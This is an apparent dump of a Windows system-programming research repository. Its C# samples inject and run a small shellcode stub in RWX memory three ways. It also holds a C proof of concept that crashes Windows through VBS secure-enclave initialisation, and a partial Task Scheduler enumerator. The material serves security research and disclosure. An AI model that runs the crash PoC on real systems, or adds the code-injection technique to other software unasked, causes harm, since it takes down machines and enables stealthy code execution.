{D5BAD6FA-F1FA-40C6-A9D7-0DAD2E1F60CC} EndGlobalSection EndGlobal ================================================ FILE: README.md ================================================ ## Windows System Programming Experiments ## ================================================ FILE: RWX/JITCompilation/JITCompilation/JITCompilation.csproj ================================================ Exe net5.0 ================================================ FILE: RWX/JITCompilation/JITCompilation/Program.cs ================================================ using System; using System.Reflection; using System.Diagnostics; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; namespace JITCompilation { internal sealed class Program { /// /// Used for mutual-exclusion lock. /// private static object Mutex = new object(); /// /// Delegate used to get the address of the PEB structure. /// /// Address of the PEB structure. private delegate IntPtr GetPEBDelegate(); /// /// Program entry point. /// /// Command line arguments. static void Main(string[] args) { // Find the method MethodInfo method = typeof(JITCompilation.Program).GetMethod(nameof(JITCompilation.Program.Stub), BindingFlags.NonPublic | BindingFlags.Static); Debug.Assert(method != null, "[-] Can't find the method to JIT compile."); // JIT compile the method IntPtr ManagedMethodPtr = method.MethodHandle.GetFunctionPointer(); if (Util.IsByteCallProcedure(ManagedMethodPtr)) { RuntimeHelpers.PrepareMethod(method.MethodHandle); Debug.Assert(Util.IsByteJmpProcedure(ManagedMethodPtr), "[-] Error while JIT compiling the method."); } // Get the address of the un-managed function UInt64 offset = (UInt64)ManagedMethodPtr - (UInt64)Marshal.ReadInt32(ManagedMethodPtr, 1); while (offset % 16 != 0) offset++; IntPtr UnmanagedMethodPtr = (IntPtr)offset; Debug.Assert(UnmanagedMethodPtr != IntPtr.Zero, "[-] Error while retrieving address of the un-managed method."); // Inject and execute the code IntPtr PEBAddressPtr = IntPtr.Zero; lock (Mutex) { Span asm = stackalloc byte[10] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, // MOV RAX, GS:[0x60] 0xC3 // RET }; Marshal.Copy(asm.ToArray(), 0, UnmanagedMethodPtr, asm.Length); Debug.Assert(Marshal.ReadByte(UnmanagedMethodPtr, 0) == 0x65, "[-] Error while overwriting un-managed method code."); Debug.Assert(Marshal.ReadByte(UnmanagedMethodPtr, 9) == 0xC3, "[-] Error while overwriting un-managed method code."); GetPEBDelegate GetPEB = Marshal.GetDelegateForFunctionPointer(UnmanagedMethodPtr); PEBAddressPtr = GetPEB(); Debug.Assert(PEBAddressPtr != IntPtr.Zero, "[-] Error while retrieving the address of the PEB structure."); }; // Pull the structure out of memory PEB _PEB = Marshal.PtrToStructure(PEBAddressPtr); Debug.Assert(_PEB.Equals(default(PEB)), "[-] Error while pulling out the structure from memory"); } /// /// This method will be JIT Compiled to generate RWX memory region. /// DO NOT USE. /// /// In this case the address of the PEB structure. private static IntPtr Stub() { throw new NotImplementedException(); } } internal sealed class Util { /// /// Check if the address points to a CALL instruction. /// /// The address of an instruction. /// Whether the address points to a CALL instruction. public static bool IsByteCallProcedure(IntPtr pointer) { if (pointer == IntPtr.Zero) return false; byte opcode = Marshal.ReadByte(pointer); switch (opcode) { case 0x9A: // CALL far case 0xE8: // CALL near return true; default: return false; } } /// /// Check if the address points to a JMP instruction. /// /// The address of an instruction. /// Whether the address points to a JMP instruction. public static bool IsByteJmpProcedure(IntPtr pointer) { if (pointer == IntPtr.Zero) return false; byte opcode = Marshal.ReadByte(pointer); switch (opcode) { case 0xE9: // JMP near case 0xEA: // JMP far case 0xEB: // JMP short return true; default: return false; } } } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct UNICODE_STRING { public ushort Length; public ushort MaximumLength; private IntPtr Buffer; } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct LIST_ENTRY { public IntPtr Flink; public IntPtr Blink; } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct PEB { public byte InheritedAddressSpace; public byte ReadImageFileExecOptions; public byte BeingDebugged; public byte BitField; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding0; public IntPtr Mutant; public IntPtr ImageBaseAddress; public IntPtr Ldr; public IntPtr ProcessParameters; public IntPtr SubSystemData; public IntPtr ProcessHeap; public IntPtr FastPebLock; public IntPtr AtlThunkSListPtr; public IntPtr IFEOKey; public uint CrossProcessFlags; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding1; public IntPtr KernelCallbackTable; public uint SystemReserved; public uint AtlThunkSListPtr32; public IntPtr ApiSetMap; public uint TlsExpansionCounter; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding2; public IntPtr TlsBitmap; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] public uint[] TlsBitmapBits; public IntPtr ReadOnlySharedMemoryBase; public IntPtr SharedData; public IntPtr ReadOnlyStaticServerData; public IntPtr AnsiCodePageData; public IntPtr OemCodePageData; public IntPtr UnicodeCaseTableData; public uint NumberOfProcessors; public uint NtGlobalFlag; public ulong CriticalSectionTimeout; public ulong HeapSegmentReserve; public ulong HeapSegmentCommit; public ulong HeapDeCommitTotalFreeThreshold; public ulong HeapDeCommitFreeBlockThreshold; public uint NumberOfHeaps; public uint MaximumNumberOfHeaps; public IntPtr ProcessHeaps; public IntPtr GdiSharedHandleTable; public IntPtr ProcessStarterHelper; public uint GdiDCAttributeList; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding3; public IntPtr LoaderLock; public uint OSMajorVersion; public uint OSMinorVersion; public ushort OSBuildNumber; public ushort OSCSDVersion; public uint OSPlatformId; public uint ImageSubsystem; public uint ImageSubsystemMajorVersion; public uint ImageSubsystemMinorVersion; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding4; public ulong ActiveProcessAffinityMask; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)] public uint[] GdiHandleBuffer; public IntPtr PostProcessInitRoutine; public IntPtr TlsExpansionBitmap; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] public uint[] TlsExpansionBitmapBits; public uint SessionId; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding5; public ulong AppCompatFlags; public ulong AppCompatFlagsUser; public IntPtr pShimData; public IntPtr AppCompatInfo; public UNICODE_STRING CSDVersion; public IntPtr ActivationContextData; public IntPtr ProcessAssemblyStorageMap; public IntPtr SystemDefaultActivationContextData; public IntPtr SystemAssemblyStorageMap; public ulong MinimumStackCommit; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public IntPtr[] SparePointers; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] public uint[] SpareUlongs; public IntPtr WerRegistrationData; public IntPtr WerShipAssertPtr; public IntPtr pUnused; public IntPtr pImageHeaderHash; public uint TracingFlags; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding6; public ulong CsrServerReadOnlySharedMemoryBase; public ulong TppWorkerpListLock; public LIST_ENTRY TppWorkerpList; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)] public ulong[] WaitOnAddressHashTable; public IntPtr TelemetryCoverageHeader; public uint CloudFileFlags; public uint CloudFileDiagFlags; public byte PlaceholderCompatibilityMode; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] public byte[] PlaceholderCompatibilityModeReserved; public IntPtr LeapSecondData; public uint LeapSecondFlags; public uint NtGlobalFlag2; } } ================================================ FILE: RWX/JITCompilation/JITCompilation.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30128.36 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "JITCompilation", "JITCompilation\JITCompilation.csproj", "{3254121C-238B-4760-8693-CEE605432E7C}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {3254121C-238B-4760-8693-CEE605432E7C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3254121C-238B-4760-8693-CEE605432E7C}.Debug|Any CPU.Build.0 = Debug|Any CPU {3254121C-238B-4760-8693-CEE605432E7C}.Release|Any CPU.ActiveCfg = Release|Any CPU {3254121C-238B-4760-8693-CEE605432E7C}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {CC70A5F2-9D05-4522-A82A-32FD74ABA51F} EndGlobalSection EndGlobal ================================================ FILE: RWX/MMF/MMF/MMF.csproj ================================================ Exe net5.0 false ================================================ FILE: RWX/MMF/MMF/Program.cs ================================================ using System; using System.Diagnostics; using System.IO.MemoryMappedFiles; using System.Runtime.InteropServices; namespace MMF { internal sealed class Program { /// /// Used for mutual-exclusion lock. 7 /// private static object Mutex { get; } = new object(); /// /// Delegate used to get the address of the PEB structure. /// /// Address of the PEB structure. private delegate IntPtr GetPEBDelegate(); /// /// Program entry point. /// /// Command line arguments. static void Main(string[] args) { Span asm = stackalloc byte[10] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, // MOV RAX, GS:[0x60] 0xC3 // RET }; IntPtr PEBAddressPtr = IntPtr.Zero; lock (Mutex) { using MemoryMappedFile MemoryMap = MemoryMappedFile.CreateNew(null, asm.Length, MemoryMappedFileAccess.ReadWriteExecute); MemoryMappedViewAccessor MemoryMapAccessor = MemoryMap.CreateViewAccessor(0, asm.Length, MemoryMappedFileAccess.ReadWriteExecute); // Get address of the memory region IntPtr RWXRegionAddressPtr = MemoryMapAccessor.SafeMemoryMappedViewHandle.DangerousGetHandle(); Debug.Assert(RWXRegionAddressPtr != IntPtr.Zero, "[-] Error while retrieving the address of the RWX memory region."); // Inject code Marshal.Copy(asm.ToArray(), 0, RWXRegionAddressPtr, asm.Length); Debug.Assert(Marshal.ReadByte(RWXRegionAddressPtr, 0) == 0x65, "[-] Error while injecting code."); Debug.Assert(Marshal.ReadByte(RWXRegionAddressPtr, 9) == 0xC3, "[-] Error while injecting code."); // Get delegate GetPEBDelegate GetPEB = Marshal.GetDelegateForFunctionPointer(RWXRegionAddressPtr); PEBAddressPtr = GetPEB(); Debug.Assert(PEBAddressPtr != IntPtr.Zero, "[-] Error while retrieving the address of the PEB structure."); } // Pull the structure out of memory PEB _PEB = Marshal.PtrToStructure(PEBAddressPtr); Debug.Assert(_PEB.Equals(default(PEB)), "[-] Error while pulling out the structure from memory"); } } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct UNICODE_STRING { public ushort Length; public ushort MaximumLength; public IntPtr Buffer; } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct LIST_ENTRY { public IntPtr Flink; public IntPtr Blink; } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct PEB { public byte InheritedAddressSpace; public byte ReadImageFileExecOptions; public byte BeingDebugged; public byte BitField; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding0; public IntPtr Mutant; public IntPtr ImageBaseAddress; public IntPtr Ldr; public IntPtr ProcessParameters; public IntPtr SubSystemData; public IntPtr ProcessHeap; public IntPtr FastPebLock; public IntPtr AtlThunkSListPtr; public IntPtr IFEOKey; public uint CrossProcessFlags; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding1; public IntPtr KernelCallbackTable; public uint SystemReserved; public uint AtlThunkSListPtr32; public IntPtr ApiSetMap; public uint TlsExpansionCounter; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding2; public IntPtr TlsBitmap; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] public uint[] TlsBitmapBits; public IntPtr ReadOnlySharedMemoryBase; public IntPtr SharedData; public IntPtr ReadOnlyStaticServerData; public IntPtr AnsiCodePageData; public IntPtr OemCodePageData; public IntPtr UnicodeCaseTableData; public uint NumberOfProcessors; public uint NtGlobalFlag; public ulong CriticalSectionTimeout; public ulong HeapSegmentReserve; public ulong HeapSegmentCommit; public ulong HeapDeCommitTotalFreeThreshold; public ulong HeapDeCommitFreeBlockThreshold; public uint NumberOfHeaps; public uint MaximumNumberOfHeaps; public IntPtr ProcessHeaps; public IntPtr GdiSharedHandleTable; public IntPtr ProcessStarterHelper; public uint GdiDCAttributeList; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding3; public IntPtr LoaderLock; public uint OSMajorVersion; public uint OSMinorVersion; public ushort OSBuildNumber; public ushort OSCSDVersion; public uint OSPlatformId; public uint ImageSubsystem; public uint ImageSubsystemMajorVersion; public uint ImageSubsystemMinorVersion; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding4; public ulong ActiveProcessAffinityMask; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)] public uint[] GdiHandleBuffer; public IntPtr PostProcessInitRoutine; public IntPtr TlsExpansionBitmap; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] public uint[] TlsExpansionBitmapBits; public uint SessionId; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding5; public ulong AppCompatFlags; public ulong AppCompatFlagsUser; public IntPtr pShimData; public IntPtr AppCompatInfo; public UNICODE_STRING CSDVersion; public IntPtr ActivationContextData; public IntPtr ProcessAssemblyStorageMap; public IntPtr SystemDefaultActivationContextData; public IntPtr SystemAssemblyStorageMap; public ulong MinimumStackCommit; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public IntPtr[] SparePointers; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] public uint[] SpareUlongs; public IntPtr WerRegistrationData; public IntPtr WerShipAssertPtr; public IntPtr pUnused; public IntPtr pImageHeaderHash; public uint TracingFlags; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding6; public ulong CsrServerReadOnlySharedMemoryBase; public ulong TppWorkerpListLock; public LIST_ENTRY TppWorkerpList; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)] public ulong[] WaitOnAddressHashTable; public IntPtr TelemetryCoverageHeader; public uint CloudFileFlags; public uint CloudFileDiagFlags; public byte PlaceholderCompatibilityMode; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] public byte[] PlaceholderCompatibilityModeReserved; public IntPtr LeapSecondData; public uint LeapSecondFlags; public uint NtGlobalFlag2; } } ================================================ FILE: RWX/MMF/MMF.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30128.36 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MMF", "MMF\MMF.csproj", "{79870090-A133-4F99-8008-78EC172ABEB0}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {79870090-A133-4F99-8008-78EC172ABEB0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {79870090-A133-4F99-8008-78EC172ABEB0}.Debug|Any CPU.Build.0 = Debug|Any CPU {79870090-A133-4F99-8008-78EC172ABEB0}.Release|Any CPU.ActiveCfg = Release|Any CPU {79870090-A133-4F99-8008-78EC172ABEB0}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {78449DF1-30E9-4526-A035-BDF9EA54B441} EndGlobalSection EndGlobal ================================================ FILE: RWX/PInvoke/PInvoke/PInvoke.csproj ================================================ Exe net5.0 ================================================ FILE: RWX/PInvoke/PInvoke/Program.cs ================================================ using System; using System.Diagnostics; using System.Runtime.InteropServices; namespace PInvoke { internal sealed class Program { /// /// Delegate used to get the address of the PEB structure. /// /// Address of the PEB structure. private delegate IntPtr GetPEBDelegate(); /// /// More information about the different flags here: https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc /// private static Int32 MEM_COMMIT { get; } = 0x00001000; private static Int32 MEM_RESERVE { get; } = 0x00002000; private static Int32 MEM_RESET { get; } = 0x00080000; private static Int32 MEM_RESET_UNDO { get; } = 0x1000000; private static Int32 MEM_LARGE_PAGES { get; } = 0x20000000; private static Int32 MEM_PHYSICAL { get; } = 0x00400000; private static Int32 MEM_TOP_DOWN { get; } = 0x00100000; private static Int32 MEM_WRITE_WATCH { get; } = 0x00200000; /// /// More information about the different flags here: https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants /// private static Int32 PAGE_EXECUTE { get; } = 0x10; private static Int32 PAGE_EXECUTE_READ { get; } = 0x20; private static Int32 PAGE_EXECUTE_READWRITE { get; } = 0x40; private static Int32 PAGE_EXECUTE_WRITECOPY { get; } = 0x80; private static Int32 PAGE_NOACCESS { get; } = 0x01; private static Int32 PAGE_READONLY { get; } = 0x02; private static Int32 PAGE_READWRITE { get; } = 0x04; private static Int32 PAGE_WRITECOPY { get; } = 0x08; private static Int32 PAGE_TARGETS_INVALID { get; } = 0x40000000; private static Int32 PAGE_TARGETS_NO_UPDATE { get; } = 0x40000000; private static Int32 PAGE_GUARD { get; } = 0x100; private static Int32 PAGE_NOCACHE { get; } = 0x200; private static Int32 PAGE_WRITECOMBINE { get; } = 0x400; /// /// Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. /// Memory allocated by this function is automatically initialized to zero. /// Link: https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc /// /// The starting address of the region to allocate. /// The size of the region, in bytes. /// The type of memory allocation. /// The memory protection for the region of pages to be allocated. /// [DllImport("kernel32.dll")] private static extern IntPtr VirtualAlloc( IntPtr lpAddress, Int32 dwSize, Int32 flAllocationType, Int32 flProtect ); /// /// Changes the protection on a region of committed pages in the virtual address space of the calling process. /// /// A pointer an address that describes the starting page of the region of pages whose access protection attributes are to be changed. /// The size of the region whose access protection attributes are to be changed, in bytes. /// The memory protection option. /// A pointer to a variable that receives the previous access protection value of the first page in the specified region of pages. /// [DllImport("kernel32.dll")] private static extern bool VirtualProtect( IntPtr lpAddress, Int32 dwSize, Int32 flNewProtect, ref Int32 lpflOldProtect ); /// /// Program entry point. /// /// Command line arguments. static void Main(string[] args) { Span asm = stackalloc byte[10] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, // MOV RAX, GS:[0x60] 0xC3 // RET }; // Allocate memory IntPtr lpAddress = VirtualAlloc(IntPtr.Zero, asm.Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); Debug.Assert(lpAddress != IntPtr.Zero, "[-] Error while allocating memory: kernl32!VirtualAlloc."); // Write asm in memory Marshal.Copy(asm.ToArray(), 0, lpAddress, asm.Length); // Change memory permissions Int32 lpflOldProtect = 0; bool success = VirtualProtect(lpAddress, asm.Length, PAGE_EXECUTE_READ, ref lpflOldProtect); Debug.Assert(success || lpflOldProtect == 4, "[-] Error while changing the memory permissions of the allocation memory."); // Create delegate GetPEBDelegate GetPEB = Marshal.GetDelegateForFunctionPointer(lpAddress); IntPtr PEBAddressPtr = GetPEB(); Debug.Assert(PEBAddressPtr != IntPtr.Zero, "[-] Error while retrieving the address of the PEB structure."); // Pull the structure out of memory PEB _PEB = Marshal.PtrToStructure(PEBAddressPtr); Debug.Assert(_PEB.Equals(default(PEB)), "[-] Error while pulling out the structure from memory"); } } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct UNICODE_STRING { public ushort Length; public ushort MaximumLength; public IntPtr Buffer; } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct LIST_ENTRY { public IntPtr Flink; public IntPtr Blink; } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct PEB { public byte InheritedAddressSpace; public byte ReadImageFileExecOptions; public byte BeingDebugged; public byte BitField; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding0; public IntPtr Mutant; public IntPtr ImageBaseAddress; public IntPtr Ldr; public IntPtr ProcessParameters; public IntPtr SubSystemData; public IntPtr ProcessHeap; public IntPtr FastPebLock; public IntPtr AtlThunkSListPtr; public IntPtr IFEOKey; public uint CrossProcessFlags; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding1; public IntPtr KernelCallbackTable; public uint SystemReserved; public uint AtlThunkSListPtr32; public IntPtr ApiSetMap; public uint TlsExpansionCounter; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding2; public IntPtr TlsBitmap; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] public uint[] TlsBitmapBits; public IntPtr ReadOnlySharedMemoryBase; public IntPtr SharedData; public IntPtr ReadOnlyStaticServerData; public IntPtr AnsiCodePageData; public IntPtr OemCodePageData; public IntPtr UnicodeCaseTableData; public uint NumberOfProcessors; public uint NtGlobalFlag; public ulong CriticalSectionTimeout; public ulong HeapSegmentReserve; public ulong HeapSegmentCommit; public ulong HeapDeCommitTotalFreeThreshold; public ulong HeapDeCommitFreeBlockThreshold; public uint NumberOfHeaps; public uint MaximumNumberOfHeaps; public IntPtr ProcessHeaps; public IntPtr GdiSharedHandleTable; public IntPtr ProcessStarterHelper; public uint GdiDCAttributeList; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding3; public IntPtr LoaderLock; public uint OSMajorVersion; public uint OSMinorVersion; public ushort OSBuildNumber; public ushort OSCSDVersion; public uint OSPlatformId; public uint ImageSubsystem; public uint ImageSubsystemMajorVersion; public uint ImageSubsystemMinorVersion; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding4; public ulong ActiveProcessAffinityMask; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)] public uint[] GdiHandleBuffer; public IntPtr PostProcessInitRoutine; public IntPtr TlsExpansionBitmap; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] public uint[] TlsExpansionBitmapBits; public uint SessionId; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding5; public ulong AppCompatFlags; public ulong AppCompatFlagsUser; public IntPtr pShimData; public IntPtr AppCompatInfo; public UNICODE_STRING CSDVersion; public IntPtr ActivationContextData; public IntPtr ProcessAssemblyStorageMap; public IntPtr SystemDefaultActivationContextData; public IntPtr SystemAssemblyStorageMap; public ulong MinimumStackCommit; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public IntPtr[] SparePointers; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] public uint[] SpareUlongs; public IntPtr WerRegistrationData; public IntPtr WerShipAssertPtr; public IntPtr pUnused; public IntPtr pImageHeaderHash; public uint TracingFlags; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding6; public ulong CsrServerReadOnlySharedMemoryBase; public ulong TppWorkerpListLock; public LIST_ENTRY TppWorkerpList; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)] public ulong[] WaitOnAddressHashTable; public IntPtr TelemetryCoverageHeader; public uint CloudFileFlags; public uint CloudFileDiagFlags; public byte PlaceholderCompatibilityMode; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] public byte[] PlaceholderCompatibilityModeReserved; public IntPtr LeapSecondData; public uint LeapSecondFlags; public uint NtGlobalFlag2; } } ================================================ FILE: RWX/PInvoke/PInvoke.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30128.36 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PInvoke", "PInvoke\PInvoke.csproj", "{79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}.Debug|Any CPU.Build.0 = Debug|Any CPU {79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}.Release|Any CPU.ActiveCfg = Release|Any CPU {79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {A4E99308-40A3-4E3A-ABB0-52E5C0B00577} EndGlobalSection EndGlobal ================================================ FILE: RWX/README.md ================================================ ## Read (R), Writable (W), Executable (X) ## Collection of .NET Core C# code to generate Read, Writable and Executable memory region. In each examples, the following code is injected and executed: ```csharp Span asm = stackalloc byte[10] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, // MOV RAX, GS:[0x60] 0xC3 // RET }; ``` This assembly code is used to the the address of the Process Environment Block (PEB) structure. ================================================ FILE: Secure Enclave/VBS/bsod.c ================================================ /** * @file bsod.c * @date 20-05-2021 * @author Paul L. (@am0nsec) * @version 1.0 * @brief Microsoft Windows VBS Secure Enclave Denial of Service (DoS) Proof of Concept (PoC). * @link https://github.com/am0nsec/wspe */ #include #include int main() { // 1. Check that the system supports VBS secure enclaves if (!IsEnclaveTypeSupported(ENCLAVE_TYPE_VBS)) { printf("[-] VBS secure enclave not supported.\n\n"); return EXIT_FAILURE; } printf("[+] VBS secure enclave supported.\n"); // 2. Create an Enclave. // 2097152 == 2Mb which is the minimum size working ENCLAVE_CREATE_INFO_VBS EnclaveCreateInfo = { 0x00 }; LPVOID lpEnclaveAddress = CreateEnclave( (HANDLE)-1, NULL, 2097152, 0, ENCLAVE_TYPE_VBS, &EnclaveCreateInfo, sizeof(ENCLAVE_CREATE_INFO_VBS), NULL ); if (lpEnclaveAddress == NULL) { printf("[-] Unable to create VBS secure enclave: %d\n", GetLastError()); return EXIT_FAILURE; } printf("[+] VBS secure enclave created: 0x%p\n", lpEnclaveAddress); // 3. Initialise enclave to BSOD the system. ENCLAVE_INIT_INFO_VBS EnclaveInitInfo = { 0x00 }; InitializeEnclave( (HANDLE)-1, lpEnclaveAddress, &EnclaveInitInfo, sizeof EnclaveInitInfo, NULL ); // 4. Exit the process. printf("[+] System has not BSOD!\n\n"); return EXIT_SUCCESS; } ================================================ FILE: Task Scheduler/README.md ================================================ Resource: https://docs.microsoft.com/en-us/windows/win32/api/_taskschd/ ================================================ FILE: Task Scheduler/enumerate_tasks.cpp ================================================ #pragma once #include #include #include #pragma comment(lib, "taskschd.lib") VOID wprintf_indent(LPCWSTR string, DWORD indent, BOOL bIsTaskName) { BSTR bstrString = ::SysAllocString(string); for (DWORD i = 0; i < indent; i++) { ::wprintf(L" "); } if (bIsTaskName) { ::wprintf(L"- "); } else { ::wprintf(L"+ "); } ::wprintf(L"%s\n", string); ::SysFreeString(bstrString); } BOOL IsAdministrator() { BOOL bSuccess = FALSE; HANDLE hProcessToken = NULL; bSuccess = ::OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &hProcessToken); if (bSuccess) { TOKEN_ELEVATION bIsElevated; DWORD dwSize = sizeof(bIsElevated); bSuccess = GetTokenInformation(hProcessToken, TokenElevation, &bIsElevated, dwSize, &dwSize); bSuccess = bIsElevated.TokenIsElevated; } if (hProcessToken) { ::CloseHandle(hProcessToken); } return bSuccess; } BOOL InitialiseCOM() { HRESULT hResult; hResult = ::CoInitialize(NULL); if (!SUCCEEDED(hResult)) { ::wprintf(L"[>] [-] Error while initialising COM\n"); return FALSE; } hResult = ::CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); if (!SUCCEEDED(hResult)) { ::wprintf(L"[-] Error while initialising COM security\n"); return FALSE; } return TRUE; } BOOL CreateTaskServiceInstance(ITaskService*& pTaskService) { HRESULT hResult = ::CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pTaskService); if (!SUCCEEDED(hResult)) { ::wprintf(L"[-] Error while creating TaskService instance\n"); return FALSE; } return TRUE; } BOOL ConnectToTaskService(ITaskService*& pTaskService) { VARIANT username; VARIANT password; VARIANT server; VARIANT domain; ::VariantInit(&username); ::VariantInit(&password); ::VariantInit(&server); ::VariantInit(&domain); HRESULT hResult = pTaskService->Connect(server, username, domain, password); if (!SUCCEEDED(hResult)) { ::wprintf(L"[-] Error while connecting to the TaskService\n"); return FALSE; } ::VariantClear(&username); ::VariantClear(&password); ::VariantClear(&server); ::VariantClear(&domain); return TRUE; } BOOL GetRootTaskFolder(ITaskFolder*& pTaskFolder, ITaskService*& pTaskService, BSTR& bstrRootFolder) { HRESULT hResult = pTaskService->GetFolder(bstrRootFolder, &pTaskFolder); if (!SUCCEEDED(hResult)) { ::wprintf(L"[-] Error while getting the task root folder\n"); return FALSE; } return TRUE; } BOOL EnumerateTasks(ITaskFolder*& pTaskFolder, DWORD indent) { HRESULT hResult; // Get current folder name BSTR bstrFolderName = NULL; pTaskFolder->get_Name(&bstrFolderName); wprintf_indent(bstrFolderName, indent, FALSE); // Get tasks in folder LONG lTasks = 0; IRegisteredTaskCollection* pTaskCollection = NULL; pTaskFolder->GetTasks(TASK_ENUM_HIDDEN, &pTaskCollection); pTaskCollection->get_Count(&lTasks); // Loop through all tasks for (LONG i = 0; i < lTasks; i++) { IRegisteredTask* pTask = NULL; VARIANT item; 